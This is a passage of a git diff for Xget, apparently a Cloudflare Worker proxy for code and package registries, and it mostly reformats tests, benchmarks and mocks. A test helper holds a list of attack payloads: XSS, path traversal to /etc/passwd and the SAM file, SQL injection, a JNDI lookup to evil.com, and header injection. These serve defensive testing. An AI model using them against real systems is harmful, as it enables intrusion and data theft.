}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -419,24 +387,24 @@ async function handleRequest(request, env, ctx) {
|
||||
* @returns {Response} New response with performance headers
|
||||
*/
|
||||
function addPerformanceHeaders(response, monitor) {
|
||||
const headers = new Headers(response.headers);
|
||||
headers.set("X-Performance-Metrics", JSON.stringify(monitor.getMetrics()));
|
||||
addSecurityHeaders(headers);
|
||||
return new Response(response.body, {
|
||||
status: response.status,
|
||||
headers: headers,
|
||||
});
|
||||
const headers = new Headers(response.headers);
|
||||
headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics()));
|
||||
addSecurityHeaders(headers);
|
||||
return new Response(response.body, {
|
||||
status: response.status,
|
||||
headers: headers
|
||||
});
|
||||
}
|
||||
|
||||
export default {
|
||||
/**
|
||||
* Main entry point for the Cloudflare Worker
|
||||
* @param {Request} request - The incoming request
|
||||
* @param {Object} env - Environment variables
|
||||
* @param {ExecutionContext} ctx - Cloudflare Workers execution context
|
||||
* @returns {Promise<Response>} The response object
|
||||
*/
|
||||
fetch(request, env, ctx) {
|
||||
return handleRequest(request, env, ctx);
|
||||
},
|
||||
/**
|
||||
* Main entry point for the Cloudflare Worker
|
||||
* @param {Request} request - The incoming request
|
||||
* @param {Object} env - Environment variables
|
||||
* @param {ExecutionContext} ctx - Cloudflare Workers execution context
|
||||
* @returns {Promise<Response>} The response object
|
||||
*/
|
||||
fetch(request, env, ctx) {
|
||||
return handleRequest(request, env, ctx);
|
||||
}
|
||||
};
|
||||
@@ -73,7 +73,7 @@ describe('Performance Benchmarks', () => {
|
||||
describe('Security Header Processing', () => {
|
||||
bench('Security headers addition', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
|
||||
// Verify headers are present (this adds to processing time)
|
||||
response.headers.get('Strict-Transport-Security');
|
||||
response.headers.get('X-Frame-Options');
|
||||
@@ -101,22 +101,26 @@ describe('Performance Benchmarks', () => {
|
||||
|
||||
describe('Concurrent Request Handling', () => {
|
||||
bench('10 concurrent requests', async () => {
|
||||
const requests = Array(10).fill().map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
const requests = Array(10)
|
||||
.fill()
|
||||
.map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
await Promise.all(requests);
|
||||
});
|
||||
|
||||
bench('50 concurrent requests', async () => {
|
||||
const requests = Array(50).fill().map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
const requests = Array(50)
|
||||
.fill()
|
||||
.map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
await Promise.all(requests);
|
||||
});
|
||||
});
|
||||
@@ -156,7 +160,9 @@ describe('Performance Benchmarks', () => {
|
||||
});
|
||||
|
||||
bench('Complex URL parsing', async () => {
|
||||
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123');
|
||||
await SELF.fetch(
|
||||
'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -166,17 +172,17 @@ describe('Performance Benchmarks', () => {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Test/1.0',
|
||||
'Accept': '*/*'
|
||||
Accept: '*/*'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Process the request
|
||||
await SELF.fetch(request);
|
||||
});
|
||||
|
||||
bench('Response object processing', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
|
||||
// Access various response properties
|
||||
response.status;
|
||||
response.statusText;
|
||||
@@ -210,4 +216,4 @@ describe('Performance Benchmarks', () => {
|
||||
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
Vendored
+54
-51
@@ -20,7 +20,7 @@ export const MOCK_RESPONSES = {
|
||||
}
|
||||
})
|
||||
},
|
||||
|
||||
|
||||
readme: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -28,7 +28,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
||||
},
|
||||
|
||||
|
||||
release: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -38,7 +38,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'binary-data-placeholder'
|
||||
},
|
||||
|
||||
|
||||
notFound: {
|
||||
status: 404,
|
||||
headers: {
|
||||
@@ -46,7 +46,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Not Found'
|
||||
},
|
||||
|
||||
|
||||
gitInfoRefs: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -69,7 +69,7 @@ export const MOCK_RESPONSES = {
|
||||
description: 'GitLab Community Edition'
|
||||
})
|
||||
},
|
||||
|
||||
|
||||
archive: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -97,7 +97,7 @@ export const MOCK_RESPONSES = {
|
||||
n_head: 16
|
||||
})
|
||||
},
|
||||
|
||||
|
||||
modelFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -106,7 +106,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'model-binary-data-placeholder'
|
||||
},
|
||||
|
||||
|
||||
datasetFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -140,7 +140,7 @@ export const MOCK_RESPONSES = {
|
||||
license: 'MIT'
|
||||
})
|
||||
},
|
||||
|
||||
|
||||
packageTarball: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -167,7 +167,7 @@ export const MOCK_RESPONSES = {
|
||||
</body>
|
||||
</html>`
|
||||
},
|
||||
|
||||
|
||||
packageFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -176,7 +176,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'gzip-data-placeholder'
|
||||
},
|
||||
|
||||
|
||||
wheelFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -212,7 +212,7 @@ export const MOCK_RESPONSES = {
|
||||
}
|
||||
})
|
||||
},
|
||||
|
||||
|
||||
packageFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
@@ -231,7 +231,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Bad Request'
|
||||
},
|
||||
|
||||
|
||||
unauthorized: {
|
||||
status: 401,
|
||||
headers: {
|
||||
@@ -239,7 +239,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Unauthorized'
|
||||
},
|
||||
|
||||
|
||||
forbidden: {
|
||||
status: 403,
|
||||
headers: {
|
||||
@@ -247,7 +247,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Forbidden'
|
||||
},
|
||||
|
||||
|
||||
notFound: {
|
||||
status: 404,
|
||||
headers: {
|
||||
@@ -255,16 +255,16 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Not Found'
|
||||
},
|
||||
|
||||
|
||||
methodNotAllowed: {
|
||||
status: 405,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain',
|
||||
'Allow': 'GET, HEAD'
|
||||
Allow: 'GET, HEAD'
|
||||
},
|
||||
body: 'Method Not Allowed'
|
||||
},
|
||||
|
||||
|
||||
pathTooLong: {
|
||||
status: 414,
|
||||
headers: {
|
||||
@@ -272,7 +272,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'URI Too Long'
|
||||
},
|
||||
|
||||
|
||||
internalServerError: {
|
||||
status: 500,
|
||||
headers: {
|
||||
@@ -280,7 +280,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Internal Server Error'
|
||||
},
|
||||
|
||||
|
||||
badGateway: {
|
||||
status: 502,
|
||||
headers: {
|
||||
@@ -288,7 +288,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Bad Gateway'
|
||||
},
|
||||
|
||||
|
||||
serviceUnavailable: {
|
||||
status: 503,
|
||||
headers: {
|
||||
@@ -296,7 +296,7 @@ export const MOCK_RESPONSES = {
|
||||
},
|
||||
body: 'Service Unavailable'
|
||||
},
|
||||
|
||||
|
||||
gatewayTimeout: {
|
||||
status: 504,
|
||||
headers: {
|
||||
@@ -345,7 +345,7 @@ function getStatusText(status) {
|
||||
503: 'Service Unavailable',
|
||||
504: 'Gateway Timeout'
|
||||
};
|
||||
|
||||
|
||||
return statusTexts[status] || 'Unknown';
|
||||
}
|
||||
|
||||
@@ -356,34 +356,37 @@ function getStatusText(status) {
|
||||
* @returns {Promise<Response>} Mock response
|
||||
*/
|
||||
export function mockFetchWithFixtures(url, options = {}) {
|
||||
return new Promise((resolve) => {
|
||||
return new Promise(resolve => {
|
||||
// Simulate network delay
|
||||
setTimeout(() => {
|
||||
const urlObj = new URL(url);
|
||||
const path = urlObj.pathname;
|
||||
|
||||
// Route to appropriate mock response based on URL pattern
|
||||
if (path.includes('/gh/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
|
||||
} else if (path.includes('/gh/') && path.includes('README.md')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
|
||||
} else if (path.includes('/gl/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
|
||||
} else if (path.includes('/hf/') && path.includes('config.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
|
||||
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
|
||||
} else if (path.includes('/pypi/simple/')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
|
||||
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
|
||||
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
|
||||
} else if (path.length > 2048) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
|
||||
} else {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
|
||||
}
|
||||
}, Math.random() * 50 + 10); // 10-60ms delay
|
||||
setTimeout(
|
||||
() => {
|
||||
const urlObj = new URL(url);
|
||||
const path = urlObj.pathname;
|
||||
|
||||
// Route to appropriate mock response based on URL pattern
|
||||
if (path.includes('/gh/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
|
||||
} else if (path.includes('/gh/') && path.includes('README.md')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
|
||||
} else if (path.includes('/gl/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
|
||||
} else if (path.includes('/hf/') && path.includes('config.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
|
||||
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
|
||||
} else if (path.includes('/pypi/simple/')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
|
||||
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
|
||||
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
|
||||
} else if (path.length > 2048) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
|
||||
} else {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
|
||||
}
|
||||
},
|
||||
Math.random() * 50 + 10
|
||||
); // 10-60ms delay
|
||||
});
|
||||
}
|
||||
}
|
||||
+38
-16
@@ -13,7 +13,7 @@ export function createMockRequest(url, options = {}) {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||
'Accept': '*/*'
|
||||
Accept: '*/*'
|
||||
}
|
||||
};
|
||||
|
||||
@@ -45,9 +45,7 @@ export function createMockResponse(body = 'OK', options = {}) {
|
||||
* @returns {Request} Git request object
|
||||
*/
|
||||
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||
const gitUrl = url.includes('?')
|
||||
? `${url}&service=${service}`
|
||||
: `${url}?service=${service}`;
|
||||
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
||||
|
||||
return new Request(gitUrl, {
|
||||
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||
@@ -97,7 +95,10 @@ export const TEST_URLS = {
|
||||
npm: {
|
||||
package: 'https://example.com/npm/react',
|
||||
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||
scoped: 'https://example.com/npm/@types/node'
|
||||
scoped: 'https://example.com/npm/@types/node',
|
||||
// Test case for the specific npm package that caused the issue
|
||||
npmPackage: 'https://example.com/npm/npm',
|
||||
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
||||
},
|
||||
pypi: {
|
||||
simple: 'https://example.com/pypi/simple/requests/',
|
||||
@@ -119,7 +120,7 @@ export const SECURITY_PAYLOADS = {
|
||||
'<script>alert(1)</script>',
|
||||
'javascript:alert(1)',
|
||||
'"><script>alert(1)</script>',
|
||||
'\';alert(1);//'
|
||||
"';alert(1);//"
|
||||
],
|
||||
pathTraversal: [
|
||||
'../../../etc/passwd',
|
||||
@@ -127,12 +128,7 @@ export const SECURITY_PAYLOADS = {
|
||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
],
|
||||
injection: [
|
||||
'\'; DROP TABLE users; --',
|
||||
'${jndi:ldap://evil.com}',
|
||||
'{{7*7}}',
|
||||
'<%=7*7%>'
|
||||
],
|
||||
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
||||
headerInjection: [
|
||||
'value\r\nX-Injected: malicious',
|
||||
'value\nX-Injected: malicious',
|
||||
@@ -158,13 +154,13 @@ export class PerformanceTestHelper {
|
||||
const start = performance.now();
|
||||
const result = await fn();
|
||||
const end = performance.now();
|
||||
|
||||
|
||||
this.measurements.push({
|
||||
name,
|
||||
duration: end - start,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -184,7 +180,7 @@ export class PerformanceTestHelper {
|
||||
getAverageDuration(name) {
|
||||
const filtered = this.measurements.filter(m => m.name === name);
|
||||
if (filtered.length === 0) return 0;
|
||||
|
||||
|
||||
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||
return total / filtered.length;
|
||||
}
|
||||
@@ -218,6 +214,32 @@ export function mockFetch(url, options = {}) {
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock npm registry response
|
||||
* @param {string} packageName - Package name
|
||||
* @param {string} version - Package version
|
||||
* @returns {Object} Mock npm registry response
|
||||
*/
|
||||
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
||||
return {
|
||||
name: packageName,
|
||||
versions: {
|
||||
[version]: {
|
||||
name: packageName,
|
||||
version: version,
|
||||
dist: {
|
||||
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
||||
shasum: 'mock-shasum',
|
||||
integrity: 'mock-integrity'
|
||||
}
|
||||
}
|
||||
},
|
||||
'dist-tags': {
|
||||
latest: version
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate response headers for security
|
||||
* @param {Response} response - Response to validate
|
||||
@@ -311,4 +333,4 @@ export function timeout(ms) {
|
||||
*/
|
||||
export function wait(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
}
|
||||
+77
-25
@@ -21,7 +21,7 @@ describe('Xget Core Functionality', () => {
|
||||
|
||||
it('should include security headers in all responses', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
@@ -34,7 +34,7 @@ describe('Xget Core Functionality', () => {
|
||||
it('should handle GitHub URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to GitHub
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -42,7 +42,7 @@ describe('Xget Core Functionality', () => {
|
||||
it('should handle GitLab URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to GitLab
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -50,7 +50,7 @@ describe('Xget Core Functionality', () => {
|
||||
it('should handle Hugging Face URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to Hugging Face
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -58,7 +58,7 @@ describe('Xget Core Functionality', () => {
|
||||
it('should handle npm URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to npm
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -66,15 +66,16 @@ describe('Xget Core Functionality', () => {
|
||||
it('should handle PyPI URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to PyPI
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle conda URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
|
||||
const testUrl =
|
||||
'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to conda
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -85,7 +86,7 @@ describe('Xget Core Functionality', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
@@ -93,7 +94,7 @@ describe('Xget Core Functionality', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
@@ -101,7 +102,7 @@ describe('Xget Core Functionality', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'PUT'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
@@ -109,7 +110,7 @@ describe('Xget Core Functionality', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
});
|
||||
@@ -123,7 +124,7 @@ describe('Xget Core Functionality', () => {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
@@ -135,18 +136,21 @@ describe('Xget Core Functionality', () => {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should handle Git info/refs requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',
|
||||
{
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
);
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
});
|
||||
@@ -155,14 +159,14 @@ describe('Xget Core Functionality', () => {
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
});
|
||||
|
||||
it('should accept normal length paths', async () => {
|
||||
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const response = await SELF.fetch(`https://example.com${normalPath}`);
|
||||
|
||||
|
||||
expect(response.status).not.toBe(414);
|
||||
});
|
||||
});
|
||||
@@ -170,15 +174,63 @@ describe('Xget Core Functionality', () => {
|
||||
describe('Performance Headers', () => {
|
||||
it('should include performance metrics in response headers', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should include valid JSON in performance metrics', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||
|
||||
|
||||
expect(() => JSON.parse(metricsHeader)).not.toThrow();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('URL Rewriting', () => {
|
||||
it('should rewrite npm registry URLs in JSON responses', async () => {
|
||||
// Mock npm package metadata request
|
||||
const testUrl = 'https://example.com/npm/lodash';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
// This test would need actual npm registry response mocking
|
||||
// For now, just verify the request doesn't fail
|
||||
expect([200, 301, 302, 404, 500]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should preserve npm tarball URL structure', async () => {
|
||||
// Test that npm tarball URLs follow the correct pattern
|
||||
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy correctly
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should correctly rewrite npm URLs to preserve package names', () => {
|
||||
// Test the regex replacement logic directly
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: 'npm',
|
||||
versions: {
|
||||
'11.5.1': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
// Verify the URL is correctly rewritten with package name preserved
|
||||
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
+37
-35
@@ -6,10 +6,10 @@ describe('Integration Tests', () => {
|
||||
it('should proxy GitHub file requests correctly', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
// Should attempt to proxy to GitHub
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
|
||||
|
||||
// Should include security headers
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
@@ -18,21 +18,22 @@ describe('Integration Tests', () => {
|
||||
it('should handle GitHub raw file requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle GitHub release downloads', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz';
|
||||
const testUrl =
|
||||
'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should proxy GitLab file requests correctly', async () => {
|
||||
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
@@ -40,41 +41,42 @@ describe('Integration Tests', () => {
|
||||
it('should handle Hugging Face model files', async () => {
|
||||
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle npm package requests', async () => {
|
||||
const testUrl = 'https://example.com/npm/react';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle PyPI package requests', async () => {
|
||||
const testUrl = 'https://example.com/pypi/simple/requests/';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle conda package requests', async () => {
|
||||
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Git Protocol Integration', () => {
|
||||
it('should handle Git info/refs requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
|
||||
const testUrl =
|
||||
'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
@@ -88,7 +90,7 @@ describe('Integration Tests', () => {
|
||||
},
|
||||
body: '0000' // Minimal Git protocol data
|
||||
});
|
||||
|
||||
|
||||
expect([200, 301, 302, 400, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
@@ -100,7 +102,7 @@ describe('Integration Tests', () => {
|
||||
'Git-Protocol': 'version=2'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Should not reject Git-specific headers
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
@@ -109,31 +111,31 @@ describe('Integration Tests', () => {
|
||||
describe('Caching Integration', () => {
|
||||
it('should cache responses appropriately', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
|
||||
|
||||
|
||||
// First request
|
||||
const response1 = await SELF.fetch(testUrl);
|
||||
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||
|
||||
|
||||
// Second request (should potentially hit cache)
|
||||
const response2 = await SELF.fetch(testUrl);
|
||||
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||
|
||||
|
||||
expect(metrics1).toBeTruthy();
|
||||
expect(metrics2).toBeTruthy();
|
||||
|
||||
|
||||
// Both requests should succeed
|
||||
expect(response1.status).toBe(response2.status);
|
||||
});
|
||||
|
||||
it('should not cache Git protocol requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
|
||||
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
